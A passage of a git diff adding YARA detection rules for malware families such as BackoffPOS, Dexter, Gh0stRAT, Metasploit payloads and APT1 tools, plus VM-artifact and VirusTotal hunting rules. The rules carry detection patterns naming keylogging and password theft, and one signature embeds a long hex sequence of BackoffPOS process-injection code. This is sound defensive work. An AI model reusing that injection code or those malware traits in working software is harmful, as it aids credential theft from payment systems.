+		$miscproc6 = "vboxtray" ascii wide
+		$miscproc7 = "xenservice" ascii wide
+
+		$vmware_mac_1a = "00-05-69"
+		$vmware_mac_1b = "00:05:69"
+		$vmware_mac_2a = "00-50-56"
+		$vmware_mac_2b = "00:50:56"
+		$vmware_mac_3a = "00-0C-29"
+		$vmware_mac_3b = "00:0C:29"
+		$vmware_mac_4a = "00-1C-14"
+		$vmware_mac_4b = "00:1C:14"
+		$virtualbox_mac_1a = "08-00-27"
+		$virtualbox_mac_1b = "08:00:27"
+
+	condition:
+		2 of them
+}
+
+rule xmlshell{
+meta:
+	author = "@abhinavbom"
+	maltype = "NA"
+	version = "0.1"
+	date = "21/09/2015"
+    description = "strings within XMLShell used by CommentCrew"
+strings:
+	$STFail = "ST fail"
+	$STSucc = "ST Success"
+	$Proc = "Process cmd.exe exited"
+	$ShellSuccess = "Shell started successfully"
+	$ShellFail = "Shell started fail"
+	$KillFail = "Kill Fail"
+	$KillSucc = "Kill Success"
+condition:
+	all of them
+}
+
+
+
diff --git a/yara-mikesxrs/abhinavbom/ghostRAT.yara b/yara-mikesxrs/abhinavbom/ghostRAT.yara
new file mode 100644
index 0000000..5688135
--- /dev/null
+++ b/yara-mikesxrs/abhinavbom/ghostRAT.yara
@@ -0,0 +1,19 @@
+rule Gh0stRAT
+{
+meta:
+    author = "@abhinavbom"
+    maltype = "NA"
+    version = "0.1"
+    date = "21/09/2015"
+    description = "rule for Gh0stRAT 3.6 variant June 2015"
+    originalauthor = "John Petrequin (jpetrequin@wapacklabs.com)"
+    ref1 = "http://researchcenter.paloaltonetworks.com/2015/09/musical-chairs-multi-year-campaign-involving-new-variant-of-gh0st-malware/"
+    ref2= "1d7cb7250cf14ed2b9e1c99facba55df"
+strings:
+    $MZ = "MZ"
+    $a = "piano.dll"
+    $b1 = "Programed by Zhou Zhangfa" wide
+    $b2 = "Please check your Sound Galaxy card." wide
+condition:
+    $MZ and $a and any of ($b*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/abhinavbom/pos_malwares.yara b/yara-mikesxrs/abhinavbom/pos_malwares.yara
new file mode 100644
index 0000000..efc0564
--- /dev/null
+++ b/yara-mikesxrs/abhinavbom/pos_malwares.yara
@@ -0,0 +1,18 @@
+rule FastPOS
+{
+meta:
+	author = "@abhinavbom"
+	maltype = "NA"
+	version = "0.1"
+	date = "06/10/2016"
+  description = "rule to detect FastPOS Mutex"
+  ref1 = "5aabd7876faba0885fccc8b4d095537bd048b6943aaacaf3e01d204450e787c6"
+
+strings:
+  $string1 = "uniqyeidclaxemain"
+  $string2 = "http://%s/cdosys.php"
+  
+condition:        
+  all of ($string*)
+  
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/abhinavbom/virustotal-rules.yara b/yara-mikesxrs/abhinavbom/virustotal-rules.yara
new file mode 100644
index 0000000..eee96d5
--- /dev/null
+++ b/yara-mikesxrs/abhinavbom/virustotal-rules.yara
@@ -0,0 +1,89 @@
+//Rule to Catch Intelligence files in the meta of files uploaded. Current rule looks for NSA and MOSAD in meta of samples.
+
+rule catch_intelligence_files
+{
+meta:
+	author = "@abhinavbom"
+	maltype = "NA"
+	version = "0.1"
+	date = "21/09/2015"
+    description = "catch files"
+strings:
+    $meta1 = "National Security Agency"
+    $meta3 = "Israeli Secret Intelligence"
+    $tag1 = "docx"
+	$tag2 = "doc"
+	$tag3 = "xls"
+	$tag4 = "xlxs"
+	$tag5 = "pdf"
+	$tag6 = "zip"
+	$tag7 = "rar"
+    $tag8 = "xlsb"
+
+condition:
+    any of ($meta*) and any of ($tag*)
+}
+
+//Rule to pick up all the pcaps uploaded to Virustotal. This rule can be very noisy. 
+
+rule FE_PCAPs
+{
+meta:
+	author = "@abhinavbom"
+	maltype = "NA"
+	version = "0.1"
+	description = "All pcaps uploaded to VT"
+	date = "29/07/2015"
+strings:
+	$magic = {D4 C3 B2 A1}
+condition:
+	$magic at 0
+}
+
+//Rule to detect all pcap uploads to Virustotal with +3 detection.
+
+rule pcap_positives
+{
+meta:
+	author = "@abhinavbom"
+	maltype = "NA"
+	version = "0.1"
+	description = "All pcaps uploaded to VT with +3 detection rate"
+	date = "21/06/2015"
+strings:
+	$magic = {D4 C3 B2 A1}
+condition:
+	$magic at 0 and positives > 3
+}
+
+//Rule to detect All pcaps submitted to VT and tagged as Exploit kits.
+
+rule ek_submissions				
+{
+meta:
+	author = "@abhinavbom"
+	maltype = "NA"
+	version = "0.1"
+	description = "Detects pcaps uploaded to VT and matches IDS detections for Exploit kits"
+	date = "23/06/2015"
+strings:
+	$magic = {D4 C3 B2 A1}
+condition:
+	$magic at 0 and tags contains "exploit-kit"
+}
+
+//EK detection in VT for +3 positive engine detections
+
+rule ek_submissions_2				
+{
+meta:
+	author = "@abhinavbom"
+	maltype = "NA"
+	version = "0.1"
+	description = "Detects pcaps uploaded to VT and matches IDS detections for Exploit kits"
+	date = "23/06/2015"
+strings:
+	$magic = {D4 C3 B2 A1}
+condition:
+	$magic at 0 and tags contains "exploit-kit" and positives >3
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/abhinavbom/vm-detect.yara b/yara-mikesxrs/abhinavbom/vm-detect.yara
new file mode 100644
index 0000000..d6c296a
--- /dev/null
+++ b/yara-mikesxrs/abhinavbom/vm-detect.yara
@@ -0,0 +1,86 @@
+rule vmdetect_misc : vmdetect
+{
+	meta:
+    		author = "@abhinavbom"
+		maltype = "NA"
+		version = "0.1"
+		date = "31/10/2015"
+		description = "Following Rule is referenced from AlienVault's Yara rule repository.This rule contains additional processes and driver names."
+	strings:
+		$vbox1 = "VBoxService" nocase ascii wide
+		$vbox2 = "VBoxTray" nocase ascii wide
+		$vbox3 = "SOFTWARE\\Oracle\\VirtualBox Guest Additions" nocase ascii wide
+		$vbox4 = "SOFTWARE\\\\Oracle\\\\VirtualBox Guest Additions" nocase ascii wide
+
+		$wine1 = "wine_get_unix_file_name" ascii wide
+
+		$vmware1 = "vmmouse.sys" ascii wide
+		$vmware2 = "VMware Virtual IDE Hard Drive" ascii wide
+
+		$miscvm1 = "SYSTEM\\ControlSet001\\Services\\Disk\\Enum" nocase ascii wide
+		$miscvm2 = "SYSTEM\\\\ControlSet001\\\\Services\\\\Disk\\\\Enum" nocase ascii wide
+
+		// Drivers
+		$vmdrv1 = "hgfs.sys" ascii wide
+		$vmdrv2 = "vmhgfs.sys" ascii wide
+		$vmdrv3 = "prleth.sys" ascii wide
+		$vmdrv4 = "prlfs.sys" ascii wide
+		$vmdrv5 = "prlmouse.sys" ascii wide
+		$vmdrv6 = "prlvideo.sys" ascii wide
+		$vmdrv7 = "prl_pv32.sys" ascii wide
+		$vmdrv8 = "vpc-s3.sys" ascii wide
+		$vmdrv9 = "vmsrvc.sys" ascii wide
+		$vmdrv10 = "vmx86.sys" ascii wide
+		$vmdrv11 = "vmnet.sys" ascii wide
+
+		// SYSTEM\ControlSet001\Services
+		$vmsrvc1 = "vmicheartbeat" ascii wide
+		$vmsrvc2 = "vmicvss" ascii wide
+		$vmsrvc3 = "vmicshutdown" ascii wide
+		$vmsrvc4 = "vmicexchange" ascii wide
+		$vmsrvc5 = "vmci" ascii wide
+		$vmsrvc6 = "vmdebug" ascii wide
+		$vmsrvc7 = "vmmouse" ascii wide
+		$vmsrvc8 = "VMTools" ascii wide
+		$vmsrvc9 = "VMMEMCTL" ascii wide
+		$vmsrvc10 = "vmware" ascii wide
+		$vmsrvc11 = "vmx86" ascii wide
+		$vmsrvc12 = "vpcbus" ascii wide
+		$vmsrvc13 = "vpc-s3" ascii wide
+		$vmsrvc14 = "vpcuhub" ascii wide
+		$vmsrvc15 = "msvmmouf" ascii wide
+		$vmsrvc16 = "VBoxMouse" ascii wide
+		$vmsrvc17 = "VBoxGuest" ascii wide
+		$vmsrvc18 = "VBoxSF" ascii wide
+		$vmsrvc19 = "xenevtchn" ascii wide
+		$vmsrvc20 = "xennet" ascii wide
+		$vmsrvc21 = "xennet6" ascii wide
+		$vmsrvc22 = "xensvc" ascii wide
+		$vmsrvc23 = "xenvdb" ascii wide
+
+		// Processes
+		$miscproc1 = "vmware2" ascii wide
+		$miscproc2 = "vmount2" ascii wide
+		$miscproc3 = "vmusrvc" ascii wide
+		$miscproc4 = "vmsrvc" ascii wide
+		$miscproc5 = "vboxservice" ascii wide
+		$miscproc6 = "vboxtray" ascii wide
+		$miscproc7 = "xenservice" ascii wide
+
+		$vmware_mac_1a = "00-05-69"
+		$vmware_mac_1b = "00:05:69"
+		$vmware_mac_2a = "00-50-56"
+		$vmware_mac_2b = "00:50:56"
+		$vmware_mac_3a = "00-0C-29"
+		$vmware_mac_3b = "00:0C:29"
+		$vmware_mac_4a = "00-1C-14"
+		$vmware_mac_4b = "00:1C:14"
+		$virtualbox_mac_1a = "08-00-27"
+		$virtualbox_mac_1b = "08:00:27"
+
+	condition:
+		2 of them
+}
+
+
+
diff --git a/yara-mikesxrs/adamburt/adamburt_index.yara b/yara-mikesxrs/adamburt/adamburt_index.yara
new file mode 100644
index 0000000..4d4bfef
--- /dev/null
+++ b/yara-mikesxrs/adamburt/adamburt_index.yara
@@ -0,0 +1,167 @@
+rule shellshock_generic
+
+{
+meta:
+author="Adam Burt"
+strings:
+$starter = "() { "
+$alt1 = "(a)=>"
+$alt2 = ":; } ;"
+$att1 = "HOLD Flooding"
+$att2 = "JUNK Flooding"
+$att4 = "PONG!"
+$att5 = "/bin/busybox"
+$att6 = "SCANNER"
+condition:
+( $starter and any of ($alt*) ) or ( all of ($att*) )
+}
+rule BackOffPOS_1_56_LAST
+{
+meta:
+	description = "BackoffPOS 1.56 LAST process injection code detection"
+	in_the_wild = true
+
+strings:
+$a = {E8 00 00 00 00 5D 81 ED 05 00 00 00 31 C9 64 8B 71 30 8B 76 0C 8B 76 1C 8B 5E 08 8B 7E 20 8B 36 66 39 4F 18 75 F2 8D BD E3 05 00 00 89 FE B9 0E 00 00 00 AD E8 15 02 00 00 AB E2 F7 8D 85 D0 03 00 00 50 6A 00 6A 00 FF 95 EB 05 00 00 8D 85 99 03 00 00 50 FF 95 FF 05 00 00 85 C0 0F 84 D5 01 00 00 8D 9D A5 03 00 00 53 50 FF 95 FB 05 00 00 85 C0 0F 84 BF 01 00 00 89 85 DF 05 00 00 8D BD DD 03 00 00 6A 00 6A 1A 57 6A 00 FF 95 DF 05 00 00 89 FE E8 A7 01 00 00 01 C7 B9 09 00 00 00 8D B5 82 03 00 00 F3 A4 8D BD DC 04 00 00 6A 00 6A 1A 57 6A 00 FF 95 DF 05 00 00 89 FE E8 7E 01 00 00 01 C7 B9 0E 00 00 00 8D B5 8B 03 00 00 F3 A4 8D 85 72 03 00 00 50 6A 00 68 01 00 1F 00 FF 95 03 06 00 00 85 C0 74 14 50 FF 95 E3 05 00 00 68 E0 93 04 00 FF 95 0B 06 00 00 EB D4 8D 85 DD 03 00 00 6A 00 68 80 00 00 00 6A 03 6A 00 6A 00 68 00 00 00 80 50 FF 95 E7 05 00 00 83 F8 FF 0F 84 03 01 00 00 89 C3 6A 00 50 FF 95 F7 05 00 00 83 F8 FF 0F 84 E8 00 00 00 89 C7 6A 04 68 00 30 00 00 50 6A 00 FF 95 0F 06 00 00 85 C0 0F 84 CE 00 00 00 89 C6 8D 85 DB 05 00 00 6A 00 50 57 56 53 FF 95 07 06 00 00 85 C0 0F 84 B2 00 00 00 53 FF 95 E3 05 00 00 8D 85 6A 03 00 00 50 57 56 E8 28 01 00 00 8D 85 DC 04 00 00 6A 00 68 80 00 00 00 6A 02 6A 00 6A 00 68 00 00 00 40 50 FF 95 E7 05 00 00 83 F8 FF 74 29 89 C3 8D 85 DB 05 00 00 6A 00 50 57 56 53 FF 95 17 06 00 00 53 FF 95 E3 05 00 00 68 00 80 00 00 6A 00 56 FF 95 13 06 00 00 8D 85 99 03 00 00 50 FF 95 FF 05 00 00 8D 9D BD 03 00 00 53 50 FF 95 FB 05 00 00 8D 9D CB 03 00 00 8D BD DC 04 00 00 6A 00 6A 00 6A 00 57 53 6A 00 FF D0 68 E0 93 04 00 FF 95 0B 06 00 00 8D BD DC 04 00 00 57 FF 95 F3 05 00 00 E9 B0 FE FF FF 53 FF 95 E3 05 00 00 68 E0 93 04 00 FF 95 0B 06 00 00 E9 99 FE FF FF 6A 00 FF 95 EF 05 00 00 53 31 C0 8A 1C 06 84 DB 74 03 40 EB F6 5B C3 55 89 E5 83 EC 0C 60 89 5D FC 89 45 F8 03 5B 3C 8B 5B 78 03 5D FC 8B 7B 20 03 7D FC 31 F6 8D 14 B7 8B 12 03 55 FC 31 C0 C1 C0 07 32 02 42 80 3A 00 75 F5 3B 45 F8 74 06 46 3B 73 18 72 E0 8B 53 24 03 55 FC 0F B7 14 72 8B 43 1C 03 45 FC 8B 04 90 03 45 FC 89 45 F4 61 8B 45 F4 C9 C3 55 89 E5 57 56 53 81 EC 04 01 00 00 31 C0 88 84 28 F4 FE FF FF 40 3D 00 01 00 00 75 F1 8D 8D F4 FE FF FF 8D 7D F4 31 D2 31 DB 8A 01 88 85 F2 FE FF FF 8B 75 10 02 04 32 01 C3 0F B6 DB 8A 84 2B F4 FE FF FF 88 01 8A 85 F2 FE FF FF 88 84 2B F4 FE FF FF 8D 42 01 BE 08 00 00 00 99 F7 FE 41 39 F9 75 C7 31 C9 31 D2 31 C0 EB 42 42 81 E2 FF 00 00 00 0F B6 BC 2A F4 FE FF FF 01 F9 0F B6 C9 0F B6 B4 29 F4 FE FF FF 89 F3 88 9C 2A F4 FE FF FF 89 FB 88 9C 29 F4 FE FF FF 8D 1C 37 0F B6 DB 8A 9C 2B F4 FE FF FF 8B 75 08 30 1C 30 40 3B 45 0C 7C B9 81 C4 04 01 00 00 5B 5E 5F 5D C2 0C 00 }
+$b = {50 61 73 73 77 6F 72 64 }
+$c = {6E 73 6B 61 6C }
+$d = {77 69 6E 73 65 72 76 73 2E 65 78 65 }
+$e = {73 68 65 6C 6C 33 32 2E 64 6C 6C 00 53 48 47 65 74 53 70 65 63 69 61 6C 46 6F 6C 64 65 72 50 61 74 68 41 00 53 68 65 6C 6C 45 78 65 63 75 74 65 41 }
+
+condition:
+
+all of them
+
+}
+
+rule BackOffPOS_1_55_DEC
+{
+meta:
+	description = "BackoffPOS 1.56 LAST process injection code detection"
+	in_the_wild = true
+
+strings:
+$a = "dec"
+$b = "1.55"
+$d = "Update"
+$e = "Terminate"
+$f = "Upload KeyLogs"
+$g = "[Enter]"
+
+condition:
+
+all of them
+
+}
+
+rule BackOffPOS_GENERIC
+{
+meta:
+	description = "BackoffPOS generic catcher for known strings"
+	in_the_wild = true
+
+strings:
+$a = "Update"
+$b = "Terminate"
+$d = "Uninstall"
+$e = "Download"
+$f = "Run"
+$g = "Upload"
+$h = "KeyLogs"
+$i = "Password"
+$j = "USERNAME"
+$k = "[Enter]"
+$l = "Log"
+
+condition:
+
+all of them
+
+}
+rule Dexter
+{
+meta:
+	description = "Dexter malware memory injection detection"
+	in_the_wild = true
+
+strings:
+$a = "Resilience"
+$b = "download-"
+$c = "update-"
+$d = "checkin:"
+$e = "uninstall"
+$f = "CurrentVersion\\Run"
+$g = "response="
+$h = "gateway.php"
+$i = "iexplore.exe"
+
+condition:
+
+all of them
+
+}
+import "pe"
+
+rule metasploit_payload_msfpayload
+{
+	meta:
+		description = "This rule detects generic metasploit callback payloads generated with msfpayload"
+		Author = "Adam Burt (adam_burt@symantec.com)"
+	strings:
+		$a1 = "asf"
+		$a2 = "release"
+		$a3 = "build"
+		$a4 = "support"
+		$a5 = "ab.pdb"
+		$l1 = "WS2_32.dll"
+		$l2 = "mswsock"
+		$l3 = "ntdll.dll"
+		$l4 = "KERNEL32.dll"
+		$l5 = "shell32"
+		$l6 = "malloc"
+		$l7 = "fopen"
+		$l8 = "fclose"
+		$l9 = "fprintf"
+		$l10 = "strncpy"
+	condition:
+		all of ($l*)
+		and all of ($a*)
+
+}
+
+
+rule metasploit_service_starter
+{
+	meta:
+		description = "This rule detects related metasploit service starters"
+		author = "Adam Burt (adam_burt@symantec.com)"
+	strings:
+		$a1 = "StartServiceCtrlDispatcher"
+		$a2 = "RegisterServiceCtrlHandle"
+		$a3 = "CloseHandle"
+		$a4 = "memset"
+		$a5 = "rundll32.exe"
+		$a6 = "msvcrt.dll"
+	condition:
+		pe.sections[3].name == ".bss"
+		and pe.sections[3].virtual_size == 0x00000030
+		and pe.sections[2].virtual_size == 0x0000001c
+		and pe.sections[4].virtual_size == 0x00000224
+		and all of them
+}
+rule trojan_poweliks_dropper
+{
+meta:
+author = "Adam Burt (adam_burt@symantec.com)"
+md5hash = "181dbed16bce32a7cfc15ecdd6e31918"
+sha1hash = "b00a9e4e12f799a1918358d175f571439fc4b45c"
+
+strings:
+$s1 = "NameOfMutexObject"
+$c1 = {2F 2E 6D 2C}
+$c2 = {76 AB 0B A7}
+
+
+condition:
+$c1 at 0x104a0 or ($s1 and $c2 at 0x104a8)
+}
diff --git a/yara-mikesxrs/adamburt/win_BackoffPOS.yara b/yara-mikesxrs/adamburt/win_BackoffPOS.yara
new file mode 100644
index 0000000..6489f95
--- /dev/null
+++ b/yara-mikesxrs/adamburt/win_BackoffPOS.yara
@@ -0,0 +1,63 @@
+rule BackOffPOS_1_56_LAST
+{
+meta:
+	description = "BackoffPOS 1.56 LAST process injection code detection"
+	in_the_wild = true
+
+strings:
+$a = {E8 00 00 00 00 5D 81 ED 05 00 00 00 31 C9 64 8B 71 30 8B 76 0C 8B 76 1C 8B 5E 08 8B 7E 20 8B 36 66 39 4F 18 75 F2 8D BD E3 05 00 00 89 FE B9 0E 00 00 00 AD E8 15 02 00 00 AB E2 F7 8D 85 D0 03 00 00 50 6A 00 6A 00 FF 95 EB 05 00 00 8D 85 99 03 00 00 50 FF 95 FF 05 00 00 85 C0 0F 84 D5 01 00 00 8D 9D A5 03 00 00 53 50 FF 95 FB 05 00 00 85 C0 0F 84 BF 01 00 00 89 85 DF 05 00 00 8D BD DD 03 00 00 6A 00 6A 1A 57 6A 00 FF 95 DF 05 00 00 89 FE E8 A7 01 00 00 01 C7 B9 09 00 00 00 8D B5 82 03 00 00 F3 A4 8D BD DC 04 00 00 6A 00 6A 1A 57 6A 00 FF 95 DF 05 00 00 89 FE E8 7E 01 00 00 01 C7 B9 0E 00 00 00 8D B5 8B 03 00 00 F3 A4 8D 85 72 03 00 00 50 6A 00 68 01 00 1F 00 FF 95 03 06 00 00 85 C0 74 14 50 FF 95 E3 05 00 00 68 E0 93 04 00 FF 95 0B 06 00 00 EB D4 8D 85 DD 03 00 00 6A 00 68 80 00 00 00 6A 03 6A 00 6A 00 68 00 00 00 80 50 FF 95 E7 05 00 00 83 F8 FF 0F 84 03 01 00 00 89 C3 6A 00 50 FF 95 F7 05 00 00 83 F8 FF 0F 84 E8 00 00 00 89 C7 6A 04 68 00 30 00 00 50 6A 00 FF 95 0F 06 00 00 85 C0 0F 84 CE 00 00 00 89 C6 8D 85 DB 05 00 00 6A 00 50 57 56 53 FF 95 07 06 00 00 85 C0 0F 84 B2 00 00 00 53 FF 95 E3 05 00 00 8D 85 6A 03 00 00 50 57 56 E8 28 01 00 00 8D 85 DC 04 00 00 6A 00 68 80 00 00 00 6A 02 6A 00 6A 00 68 00 00 00 40 50 FF 95 E7 05 00 00 83 F8 FF 74 29 89 C3 8D 85 DB 05 00 00 6A 00 50 57 56 53 FF 95 17 06 00 00 53 FF 95 E3 05 00 00 68 00 80 00 00 6A 00 56 FF 95 13 06 00 00 8D 85 99 03 00 00 50 FF 95 FF 05 00 00 8D 9D BD 03 00 00 53 50 FF 95 FB 05 00 00 8D 9D CB 03 00 00 8D BD DC 04 00 00 6A 00 6A 00 6A 00 57 53 6A 00 FF D0 68 E0 93 04 00 FF 95 0B 06 00 00 8D BD DC 04 00 00 57 FF 95 F3 05 00 00 E9 B0 FE FF FF 53 FF 95 E3 05 00 00 68 E0 93 04 00 FF 95 0B 06 00 00 E9 99 FE FF FF 6A 00 FF 95 EF 05 00 00 53 31 C0 8A 1C 06 84 DB 74 03 40 EB F6 5B C3 55 89 E5 83 EC 0C 60 89 5D FC 89 45 F8 03 5B 3C 8B 5B 78 03 5D FC 8B 7B 20 03 7D FC 31 F6 8D 14 B7 8B 12 03 55 FC 31 C0 C1 C0 07 32 02 42 80 3A 00 75 F5 3B 45 F8 74 06 46 3B 73 18 72 E0 8B 53 24 03 55 FC 0F B7 14 72 8B 43 1C 03 45 FC 8B 04 90 03 45 FC 89 45 F4 61 8B 45 F4 C9 C3 55 89 E5 57 56 53 81 EC 04 01 00 00 31 C0 88 84 28 F4 FE FF FF 40 3D 00 01 00 00 75 F1 8D 8D F4 FE FF FF 8D 7D F4 31 D2 31 DB 8A 01 88 85 F2 FE FF FF 8B 75 10 02 04 32 01 C3 0F B6 DB 8A 84 2B F4 FE FF FF 88 01 8A 85 F2 FE FF FF 88 84 2B F4 FE FF FF 8D 42 01 BE 08 00 00 00 99 F7 FE 41 39 F9 75 C7 31 C9 31 D2 31 C0 EB 42 42 81 E2 FF 00 00 00 0F B6 BC 2A F4 FE FF FF 01 F9 0F B6 C9 0F B6 B4 29 F4 FE FF FF 89 F3 88 9C 2A F4 FE FF FF 89 FB 88 9C 29 F4 FE FF FF 8D 1C 37 0F B6 DB 8A 9C 2B F4 FE FF FF 8B 75 08 30 1C 30 40 3B 45 0C 7C B9 81 C4 04 01 00 00 5B 5E 5F 5D C2 0C 00 }
+$b = {50 61 73 73 77 6F 72 64 }
+$c = {6E 73 6B 61 6C }
+$d = {77 69 6E 73 65 72 76 73 2E 65 78 65 }
+$e = {73 68 65 6C 6C 33 32 2E 64 6C 6C 00 53 48 47 65 74 53 70 65 63 69 61 6C 46 6F 6C 64 65 72 50 61 74 68 41 00 53 68 65 6C 6C 45 78 65 63 75 74 65 41 }
+
+condition:
+
+all of them
+
+}
+
+rule BackOffPOS_1_55_DEC
+{
+meta:
+	description = "BackoffPOS 1.56 LAST process injection code detection"
+	in_the_wild = true
+
+strings:
+$a = "dec"
+$b = "1.55"
+$d = "Update"
+$e = "Terminate"
+$f = "Upload KeyLogs"
+$g = "[Enter]"
+
+condition:
+
+all of them
+
+}
+
+rule BackOffPOS_GENERIC
+{
+meta:
+	description = "BackoffPOS generic catcher for known strings"
+	in_the_wild = true
+
+strings:
+$a = "Update"
+$b = "Terminate"
+$d = "Uninstall"
+$e = "Download"
+$f = "Run"
+$g = "Upload"
+$h = "KeyLogs"
+$i = "Password"
+$j = "USERNAME"
+$k = "[Enter]"
+$l = "Log"
+
+condition:
+
+all of them
+
+}
diff --git a/yara-mikesxrs/adamburt/win_Dexter.yara b/yara-mikesxrs/adamburt/win_Dexter.yara
new file mode 100644
index 0000000..8c38dc5
--- /dev/null
+++ b/yara-mikesxrs/adamburt/win_Dexter.yara
@@ -0,0 +1,22 @@
+rule Dexter
+{
+meta:
+	description = "Dexter malware memory injection detection"
+	in_the_wild = true
+
+strings:
+$a = "Resilience"
+$b = "download-"
+$c = "update-"
+$d = "checkin:"
+$e = "uninstall"
+$f = "CurrentVersion\\Run"
+$g = "response="
+$h = "gateway.php"
+$i = "iexplore.exe"
+
+condition:
+
+all of them
+
+}
diff --git a/yara-mikesxrs/adamburt/win_metasploit_related.yara b/yara-mikesxrs/adamburt/win_metasploit_related.yara
new file mode 100644
index 0000000..8d7fbb0
--- /dev/null
+++ b/yara-mikesxrs/adamburt/win_metasploit_related.yara
@@ -0,0 +1,49 @@
+import "pe"
+
+rule metasploit_payload_msfpayload
+{
+	meta:
+		description = "This rule detects generic metasploit callback payloads generated with msfpayload"
+		Author = "Adam Burt (adam_burt@symantec.com)"
+	strings:
+		$a1 = "asf"
+		$a2 = "release"
+		$a3 = "build"
+		$a4 = "support"
+		$a5 = "ab.pdb"
+		$l1 = "WS2_32.dll"
+		$l2 = "mswsock"
+		$l3 = "ntdll.dll"
+		$l4 = "KERNEL32.dll"
+		$l5 = "shell32"
+		$l6 = "malloc"
+		$l7 = "fopen"
+		$l8 = "fclose"
+		$l9 = "fprintf"
+		$l10 = "strncpy"
+	condition:
+		all of ($l*)
+		and all of ($a*)
+
+}
+
+
+rule metasploit_service_starter
+{
+	meta:
+		description = "This rule detects related metasploit service starters"
+		author = "Adam Burt (adam_burt@symantec.com)"
+	strings:
+		$a1 = "StartServiceCtrlDispatcher"
+		$a2 = "RegisterServiceCtrlHandle"
+		$a3 = "CloseHandle"
+		$a4 = "memset"
+		$a5 = "rundll32.exe"
+		$a6 = "msvcrt.dll"
+	condition:
+		pe.sections[3].name == ".bss"
+		and pe.sections[3].virtual_size == 0x00000030
+		and pe.sections[2].virtual_size == 0x0000001c
+		and pe.sections[4].virtual_size == 0x00000224
+		and all of them
+}
diff --git a/yara-mikesxrs/adamburt/win_trojan-poweliks-dropper.yara b/yara-mikesxrs/adamburt/win_trojan-poweliks-dropper.yara
new file mode 100644
index 0000000..7d4c260
--- /dev/null
+++ b/yara-mikesxrs/adamburt/win_trojan-poweliks-dropper.yara
@@ -0,0 +1,16 @@
+rule trojan_poweliks_dropper
+{
+meta:
+author = "Adam Burt (adam_burt@symantec.com)"
+md5hash = "181dbed16bce32a7cfc15ecdd6e31918"
+sha1hash = "b00a9e4e12f799a1918358d175f571439fc4b45c"
+
+strings:
+$s1 = "NameOfMutexObject"
+$c1 = {2F 2E 6D 2C}
+$c2 = {76 AB 0B A7}
+
+
+condition:
+$c1 at 0x104a0 or ($s1 and $c2 at 0x104a8)
+}
diff --git a/yara-mikesxrs/alienvault/APT1_GDOCUPLOAD.yar b/yara-mikesxrs/alienvault/APT1_GDOCUPLOAD.yar
new file mode 100644
index 0000000..9674698
--- /dev/null
+++ b/yara-mikesxrs/alienvault/APT1_GDOCUPLOAD.yar
@@ -0,0 +1,14 @@
+rule APT1_GDOCUPLOAD
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $str1 = "name=\"GALX\"" wide ascii
+        $str2 = "User-Agent: Shockwave Flash" wide ascii
+        $str3 = "add cookie failed..." wide ascii
+        $str4 = ",speed=%f" wide ascii
+    condition:
+        3 of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/APT1_GETMAIL.yar b/yara-mikesxrs/alienvault/APT1_GETMAIL.yar
new file mode 100644
index 0000000..de05010
--- /dev/null
+++ b/yara-mikesxrs/alienvault/APT1_GETMAIL.yar
@@ -0,0 +1,17 @@
+rule APT1_GETMAIL
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $stra1 = "pls give the FULL path" wide ascii
+        $stra2 = "mapi32.dll" wide ascii
+        $stra3 = "doCompress" wide ascii
+
+        $strb1 = "getmail.dll" wide ascii
+        $strb2 = "doCompress" wide ascii
+        $strb3 = "love" wide ascii
+    condition:
+        all of ($stra*) or all of ($strb*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/APT1_HACKSFASE1.yar b/yara-mikesxrs/alienvault/APT1_HACKSFASE1.yar
new file mode 100644
index 0000000..5d8e8ce
--- /dev/null
+++ b/yara-mikesxrs/alienvault/APT1_HACKSFASE1.yar
@@ -0,0 +1,12 @@
+
+rule HACKSFASE1_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = {cb 39 82 49 42 be 1f 3a}
+
+        condition:
+                all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/APT1_HACKSFASE2.yar b/yara-mikesxrs/alienvault/APT1_HACKSFASE2.yar
new file mode 100644
index 0000000..91a79b3
--- /dev/null
+++ b/yara-mikesxrs/alienvault/APT1_HACKSFASE2.yar
@@ -0,0 +1,13 @@
+rule HACKSFASE2_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "Send to Server failed." wide ascii
+                $s2 = "HandShake with the server failed. Error:" wide ascii
+                $s3 = "Decryption Failed. Context Expired." wide ascii
+
+        condition:
+                all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/APT1_LIGHTBOLT.yar b/yara-mikesxrs/alienvault/APT1_LIGHTBOLT.yar
new file mode 100644
index 0000000..31d93c6
--- /dev/null
+++ b/yara-mikesxrs/alienvault/APT1_LIGHTBOLT.yar
@@ -0,0 +1,14 @@
+rule APT1_LIGHTBOLT
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $str1 = "bits.exe" wide ascii
+        $str2 = "PDFBROW" wide ascii
+        $str3 = "Browser.exe" wide ascii
+        $str4 = "Protect!" wide ascii
+    condition:
+        2 of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/APT1_MAPIGET.yar b/yara-mikesxrs/alienvault/APT1_MAPIGET.yar
new file mode 100644
index 0000000..7594746
--- /dev/null
+++ b/yara-mikesxrs/alienvault/APT1_MAPIGET.yar
@@ -0,0 +1,16 @@
+rule APT1_MAPIGET
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $s1 = "%s\\Attachment.dat" wide ascii
+        $s2 = "MyOutlook" wide ascii
+        $s3 = "mail.txt" wide ascii
+        $s4 = "Recv Time:" wide ascii
+        $s5 = "Subject:" wide ascii
+
+    condition:
+        all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/APT1_RARSilent_EXE_PDF.yar b/yara-mikesxrs/alienvault/APT1_RARSilent_EXE_PDF.yar
new file mode 100644
index 0000000..b1b470e
--- /dev/null
+++ b/yara-mikesxrs/alienvault/APT1_RARSilent_EXE_PDF.yar
@@ -0,0 +1,16 @@
